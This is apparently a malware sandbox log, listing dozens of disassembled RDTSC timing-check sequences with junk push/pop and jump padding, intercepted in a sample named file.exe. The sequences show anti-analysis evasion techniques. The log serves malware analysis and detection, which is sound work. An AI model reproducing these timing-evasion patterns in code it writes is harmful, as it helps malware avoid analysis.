Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F485 second address: F6F48E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F48E second address: F6F494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F494 second address: F6F4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 popad 0x0000000a jnp 00007F76C4CE1458h 0x00000010 jmp 00007F76C4CE1434h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F76C4CE1432h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F79D second address: F6F7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F7A1 second address: F6F7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F705A8 second address: F705AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F705AE second address: F705B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F705B6 second address: F705C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C52A035Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7869C second address: F786AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jg 00007F76C4CE1426h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F786AA second address: F786B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F76C52A0356h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7839D second address: F783BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F76C4CE1434h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AF86 second address: F7AF8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AF8A second address: F7AF90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B135 second address: F7B140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F76C52A0356h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F85A second address: F7F85E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F85E second address: F7F866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F9E4 second address: F7F9E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FB5B second address: F7FB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F76C52A0356h 0x0000000e jbe 00007F76C52A0356h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FB75 second address: F7FB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F76C4CE1426h 0x0000000a popad 0x0000000b jp 00007F76C4CE142Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FECD second address: F7FED4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F834C7 second address: F834CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F834CD second address: F834E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F76C52A035Dh 0x0000000b js 00007F76C52A0356h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F834E6 second address: F834FA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76C4CE1426h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F76C4CE1426h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82C10 second address: F82C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jg 00007F76C52A0356h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F76C52A0363h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82C31 second address: F82C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C4CE1436h 0x00000009 jmp 00007F76C4CE142Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82C55 second address: F82C5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82D97 second address: F82D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82D9B second address: F82DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F76C52A0363h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8922D second address: F8926D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F76C4CE1431h 0x0000000e jc 00007F76C4CE1426h 0x00000014 pop ebx 0x00000015 jmp 00007F76C4CE1430h 0x0000001a popad 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F76C4CE142Bh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8926D second address: F89271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87AE5 second address: F87AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87AEB second address: F87AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87AF1 second address: F87AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87AF6 second address: F87AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87AFB second address: F87B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jnp 00007F76C4CE1426h 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 je 00007F76C4CE1443h 0x00000019 pushad 0x0000001a jp 00007F76C4CE1426h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88187 second address: F88192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F76C52A0356h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37D9A second address: F37DA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37DA0 second address: F37DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C52A035Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8843D second address: F88441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88441 second address: F88445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88445 second address: F8844B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88F1A second address: F88F37 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F76C52A0363h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88F37 second address: F88F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88F3D second address: F88F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88F41 second address: F88F52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88F52 second address: F88F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88F5D second address: F88F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2597 second address: EF25AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F76C52A0356h 0x0000000a popad 0x0000000b pushad 0x0000000c jl 00007F76C52A035Eh 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F74D second address: F8F756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F756 second address: F8F75C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA6F second address: F8FAAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F76C4CE1426h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F76C4CE142Ch 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F76C4CE1439h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FAAB second address: F8FAB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FAB1 second address: F8FAC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F76C4CE1426h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FAC0 second address: F8FAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FAC4 second address: F8FAC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90033 second address: F90048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C52A0361h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9032C second address: F90332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91422 second address: F9142D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9142D second address: F91431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96CF6 second address: F96D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jg 00007F76C52A0356h 0x0000000e jmp 00007F76C52A0367h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96D1D second address: F96D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F76C4CE1436h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96D44 second address: F96D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C52A0361h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96D59 second address: F96D7D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76C4CE1426h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F76C4CE1436h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AD4A second address: F9AD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C52A0362h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AD61 second address: F9ADB1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76C4CE1444h 0x00000008 jmp 00007F76C4CE1431h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F76C4CE1435h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9ADB1 second address: F9ADC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F76C52A0356h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F76C52A0356h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9ADC5 second address: F9ADCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A017 second address: F9A049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F76C52A0360h 0x0000000e jmp 00007F76C52A0363h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A049 second address: F9A04F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A2A5 second address: F9A2DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0366h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F76C52A0366h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A2DB second address: F9A2DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A456 second address: F9A484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0363h 0x00000007 jmp 00007F76C52A0367h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A8D7 second address: F9A8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A8DB second address: F9A8E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F76C52A0358h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AA55 second address: F9AA5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AA5B second address: F9AA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F76C52A0361h 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AA7A second address: F9AA99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1437h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AA99 second address: F9AA9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AA9D second address: F9AAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA121C second address: FA1229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F76C52A0356h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA13B4 second address: FA13C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F76C4CE1432h 0x0000000b jng 00007F76C4CE1426h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA13C7 second address: FA13CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA13CE second address: FA13D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1798 second address: FA17A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F76C52A0356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA17A2 second address: FA17C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F76C4CE1426h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA17C1 second address: FA17CB instructions: 0x00000000 rdtsc 0x00000002 je 00007F76C52A0356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1C48 second address: FA1C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1C4E second address: FA1C85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F76C52A0367h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F76C52A035Eh 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jnc 00007F76C52A0356h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2AE5 second address: FA2AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0926 second address: FA0940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C52A0366h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0940 second address: FA096D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1432h 0x00000007 jmp 00007F76C4CE1431h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA096D second address: FA0993 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F76C52A035Ah 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F76C52A035Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB2E0 second address: FAB2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB648 second address: FAB66E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76C52A0356h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F76C52A0356h 0x00000014 jmp 00007F76C52A0362h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB66E second address: FAB674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB26C0 second address: FB26C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB26C6 second address: FB26CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB26CF second address: FB26D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7D89 second address: FB7D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7D8D second address: FB7DC0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F76C52A0356h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F76C52A035Eh 0x00000013 jmp 00007F76C52A0367h 0x00000018 rdtsc
